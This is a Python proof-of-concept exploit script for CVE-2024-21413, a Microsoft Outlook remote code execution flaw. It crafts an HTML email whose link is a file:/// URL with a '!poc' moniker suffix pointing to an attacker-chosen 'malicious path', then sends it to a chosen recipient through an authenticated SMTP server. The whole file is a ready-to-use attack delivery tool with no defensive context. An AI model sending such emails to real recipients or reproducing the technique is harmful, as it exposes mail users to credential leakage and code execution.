import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import argparse
import sys

BLUE = "\033[94m"
GREEN = "\033[92m"
RED = "\033[91m"
ENDC = "\033[0m"

def display_banner():
    banner = f"""
{BLUE}CVE-2024-21413 | Microsoft Outlook Remote Code Execution Vulnerability PoC.
Alexander Hagenah / @xaitax / ah@primepage.de{ENDC}
"""
    print(banner)

def send_email(smtp_server, port, username, password, sender_email, recipient_email, link_url, subject):

    """Sends an email with both plain text and HTML parts, including advanced features."""
    msg = MIMEMultipart('alternative')
    msg['Subject'] = subject
    msg['From'] = sender_email
    msg['To'] = recipient_email

    text = "Please read this email in HTML format."
    base64_image_string = ""

    html = f"""\
    <html>
    <body>
        <img src="{base64_image_string}" alt="Image"><br />
        <h1><a href="file:///{link_url}!poc">CVE-2024-21413 PoC.</a></h1>
    </body>
    </html>
    """

    part1 = MIMEText(text, 'plain')
    part2 = MIMEText(html, 'html')
    msg.attach(part1)
    msg.attach(part2)

    try:
        with smtplib.SMTP(smtp_server, port) as server:
            server.ehlo()
            server.starttls()
            server.ehlo()
            server.login(username, password)
            server.sendmail(sender_email, recipient_email, msg.as_string())
            print(f"{GREEN}✅ Email sent successfully.{ENDC}")
    except Exception as e:
        print(f"{RED}❌ Failed to send email: {e}{ENDC}")

def main():
    display_banner()
    parser = argparse.ArgumentParser(description="PoC for CVE-2024-21413 with SMTP authentication.")
    parser.add_argument('--server', required=True, help="SMTP server hostname or IP")
    parser.add_argument('--port', type=int, default=587, help="SMTP server port")
    parser.add_argument('--username', required=True, help="SMTP server username for authentication")
    parser.add_argument('--password', required=True, help="SMTP server password for authentication")
    parser.add_argument('--sender', required=True, help="Sender email address")
    parser.add_argument('--recipient', required=True, help="Recipient email address")
    parser.add_argument('--url', required=True, help="Malicious path to include in the email")
    parser.add_argument('--subject', required=True, help="Email subject")


    args = parser.parse_args()

    send_email(args.server, args.port, args.username, args.password, args.sender, args.recipient, args.url, args.subject)

if __name__ == "__main__":
    if len(sys.argv) == 1:
        display_banner()
        sys.exit(1)
    main()
